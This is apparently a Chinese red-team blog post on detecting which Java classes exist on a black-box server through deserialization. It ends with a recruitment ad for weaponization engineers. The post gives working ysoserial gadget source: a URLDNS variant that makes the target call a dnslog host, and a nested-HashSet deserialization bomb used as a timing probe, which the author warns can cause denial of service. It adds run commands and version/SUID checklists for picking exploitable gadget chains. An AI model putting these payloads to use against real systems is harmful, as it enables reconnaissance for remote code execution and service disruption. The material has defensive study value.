0x01
背景
你是否遇到过这样的情况,黑盒环境下有一个序列化入口。你将ysoserial所有gadget的测试了一遍,均无法RCE。由于没有报错信息,你根本无法确定是下面那个原因导致。
1. 没有gadget依赖的jar
2. suid不一致
3. jar版本不在漏洞版本
4. gadget使用的class进入了黑名单
5. ......
单纯的盲测,工作量将非常大。如果我们有一个通用的探测某个class是否存在的gadget,这些问题将很好解决!
0x02
解决serialVersionUID冲突问题
在构造之前我们先思考一个问题,Java原生反序列化是会检测serialVersionUID的。当我们本地序列化Class和服务器上的Class SUID不一样的时候,哪怕是真实存在这个类,我们也无法探测成功。涉及这一块检测在JDK如下方法中。
// java.io.ObjectStreamClass#initNonProxy void initNonProxy(ObjectStreamClass model, Class<?> cl, ClassNotFoundException resolveEx, ObjectStreamClass superDesc) throws InvalidClassException{ // model是基于序列化数据构造的ObjectStreamClass对象 suid = Long.valueOf(model.getSerialVersionUID()); serializable = model.serializable; externalizable = model.externalizable; ...... if (cl != null) { // 通过类名,基于当前运行环境构造的ObjectStreamClass localDesc = lookup(cl, true); ...... // SUID检查条件:是否都或都没有实现了Serializable接口 && 不是数组类 && suid不相同 if (serializable == localDesc.serializable && !cl.isArray() && suid.longValue() != localDesc.getSerialVersionUID()) { throw new InvalidClassException(localDesc.name, "local class incompatible: " + "stream classdesc serialVersionUID = " + suid + ", local class serialVersionUID = " + localDesc.getSerialVersionUID()); } ...... } ...... }
我们不难判断出来如果要绕过serialVersionUID的检查就需要打破3个判断条件中的一个。这里我想到了2个方案进行绕过,假设我们要探测A类存不存在。
1. 动态生成一个A类不实现Serializable接口进行序列化。如果线上的A类是实现Serializable接口,第一个条件就不成立了直接绕过。如果线上的Class没有实现改接口,则两者suid都为0L,第三个条件不符合,自然无需检查。
2. 直接序列化A[].class,第二个条件直接不符合,直接不用检查SUID,无需关心实现实现Serializable接口。
这里我选择按照1的方式动态生成Class:
public static Class makeClass(String clazzName) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass(clazzName); Class clazz = ctClass.toClass(); ctClass.defrost(); return clazz; }
0x03
一次失败的构造
沿用之前的包裹大量脏数据绕WAF的思路来构造,发现LinkedList第一个元素反序列化失败并不会导致反序列化流程停止。
List<Object> a = new LinkedList<Object>();a.add(makeClass("TargetClass"));a.add(new URLDNS.getObject("http://test.dnslog.cn"));
通过Object属性也无法成功。第一个属性反序列化失败,第二个属性依然会被反序列化。
Class A { private Object a; // makeClass("TargetClass") private Object b; // new URLDNS.getObject("http://test.dnslog.cn") }
调试后发现不存在class抛出的ClassNotFoundException异常,被try...catch了,并不能阻断java.io.ObjectInputStream#readObject内部流程,但是可以阻断其他可序列化类的readObject流程。也就是说需要通过ClassNotFoundException来阻断source到sink之间的通路,才能断链。
0x04
通过dnslog探测class
在一次午饭的时候和@NoPoint师傅交流,说到了可以改造URLDNS这个gadget探测class,我之前是在fastjson中使用过类似的思路。
重新分析了下URLDNS的调用链,发现可以在HashMap#readObject处阻断。当反序列化key-value时,如果value是一个不存在的Class的话,将会报错退出for循环,URL对象作为key将不会被putForCreate到hashcode方法触发dnslog。
// java.util.HashMap#readObject private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ...... // Read the keys and values, and put the mappings in the HashMap for (int i=0; i<mappings; i++) { // 序列化要探测的Class K key = (K) s.readObject(); // 反序列化URL对象 V value = (V) s.readObject(); putForCreate(key, value); } }
最终gadget构造如下:
@Authors({ Authors.NOPOINT,Authors.C0NY1 }) public class FindClassByDNS implements ObjectPayload<Object> { public Object getObject(final String command) throws Exception { String[] cmds = command.split("\\|"); if(cmds.length != 2){ System.out.println("<url>|<class name>"); return null; } String url = cmds[0]; String clazzName = cmds[1]; URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); URL u = new URL(null, url, handler); // 以URL对象为key,以探测Class为value ht.put(u, makeClass(clazzName)); Reflections.setFieldValue(u, "hashCode", -1); return ht; } }
java -jar ysoserial-for-woodpecker.jar -g FindClassByDNS -a "http://oc.mfpy4t.dnslog.cn|org.apache.commons.collections.map.LazyMap
0x05
通过反序列化炸弹探测class
有些环境可能没有配置DNS服务,这个时候就无法使用上面的gadget来探测。为了应对这个场景,我第一时间想到的就是改造JRMPClient。但是看了下调用链中的class没有Object类型的属性,没法断链。于是只能去挖掘新gadget,后面大约花了一周时间也没有成果。加之有其他事情,构造的事就搁浅了一段时间。直到无意间拜读@fnmsd师父的文章,看到了@Joshua Bloch的《effective java》,瞬间来了灵感。
里面给出了一个反序列化炸弹的技巧,通过构造特殊的多层嵌套HashSet,导致服务器反序列化的时间复杂度提升,消耗服务器所有性能,导致拒绝服务。在这个基础上,我选择消耗部分性能达到间接延时的作用,来探测class。
@Authors({ Authors.C0NY1 }) public class FindClassByBomb extends PayloadRunner implements ObjectPayload<Object> { public Object getObject ( final String command ) throws Exception { int depth; String className = null; if(command.contains("|")){ String[] x = command.split("\\|"); className = x[0]; depth = Integer.valueOf(x[1]); }else{ className = command; depth = 28; } Class findClazz = makeClass(className); Set<Object> root = new HashSet<Object>(); Set<Object> s1 = root; Set<Object> s2 = new HashSet<Object>(); for (int i = 0; i < depth; i++) { Set<Object> t1 = new HashSet<Object>(); Set<Object> t2 = new HashSet<Object>(); t1.add(findClazz); s1.add(t1); s1.add(t2); s2.add(t1); s2.add(t2); s1 = t1; s2 = t2; } return root; } }
由于每个服务器的性能不一样,要想让它们延时时间相同,就需要调整反序列化炸弹的深度。所以在使用该gadget时,要先测试出深度,一般最好调整到比正常请求慢10秒以上。经过我的实战一般这个深度都在25到28之间,切记不要设置太大否则造成DOS。
我们来看下效果。InvokerTransformer类存在,延时25s。
java -jar ysoserial-for-woodpecker.jar -g FindClassByBomb -a "org.apache.commons.collections.functors.InvokerTransformer|28"
InvokerTransformer666类不存在,不延时。
0x06
配合class checklist食用
要想在实战中使用,我们就需要事先去制作一份class的checklist备用。下面我通过diff maven中央仓库的统计的结果。最新的checklist和gadget都更新到ysoserial-for-woodpecker项目。
6.1 CommonsCollections
必须存在类:org.apache.commons.collections.functors.ChainedTransformer
版本范围
漏洞版本
判断类
suid冲突
>= 3.1 or = 20040616
org.apache.commons.collections.list.TreeList
是
无
>= 3.2.2
org.apache.commons.collections.functors.FunctorUtils$1
否
无
6.2 CommonsCollections4
必须存在类:org.apache.commons.collections4.comparators.TransformingComparator
版本范围
漏洞版本
判断类
suid冲突
>= 4.1
否
存在org.apache.commons.collections4.FluentIterable
无
4.0
否
不存在org.apache.commons.collections4.FluentIterable
无
6.3 CommonsBeanutils
必须存在类:org.apache.commons.beanutils.BeanComparator
版本范围
漏洞版本
判断类
suid冲突
>= 1.9.0
是
存在org.apache.commons.beanutils.BeanIntrospector
-2044202215314119608
1.7.0 <= <= 1.8.3
是
存在org.apache.commons.collections.Buffer
-3490850999041592962
>= 1.6 or = 20030211.134440
是
存在org.apache.commons.beanutils.ConstructorUtils
2573799559215537819
>= 1.5 or 20021128.082114 > 1.4.1
是
存在org.apache.commons.beanutils.BeanComparator
5123381023979609048
6.4 c3p0
必须存在:org.apache.commons.beanutils.BeanComparator
版本范围
漏洞版本
判断类
suid冲突
0.9.5-pre9 ~ 0.9.5.5
是
存在com.mchange.v2.c3p0.test.AlwaysFailDataSource
-2440162180985815128
0.9.2-pre2-RELEASE ~ 0.9.5-pre8
是
不存在com.mchange.v2.c3p0.test.AlwaysFailDataSource
7387108436934414104
以c3p0为例子,我们判断的步骤应该是
1. 第一步判断com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase是否存在,若存在C3P0可用
2. 第二步判断com.mchange.v2.c3p0.test.AlwaysFailDataSource是否存在,存在说明是高版本,suid切换-2440162180985815128。否则切换7387108436934414104
0x07
最后的思考
有了类探测当然不只可以做排查gadget可用性问题,只要你维护出一个不错的class checklist。如下信息都可以判断:
1. Oracle jdk or Open jdk
2. 是jre还是jdk
3. 中间件类型(辅助构造回显/内存马)
4. 使用的web框架
5. BCEL classloader是否存在
6. 判断java版本是否低于<7u104(该版本可以00截断)
7. ......
其他类型的反序列化gadget也是一样的思路,小tips是否可以变成利器,看挥舞它的人。
0x08
参考文章
0x09
招聘:红队武器化工程师
最后给团队(奇安信观星实验室)招个队友,有意向的可以公众号后台或者邮箱root#gv7.me联系我,期待与你共事。
9.1 工作内容
学习最前沿的攻防技术,挖掘0day,并将研究成果自动化武器化。
9.2 能力要求
可以分析调试最新报送的漏洞
可以将研究成果自动化武器化
9.3 加分项
有高质量文章blog
有不错的自动化开源作品
有原创CVE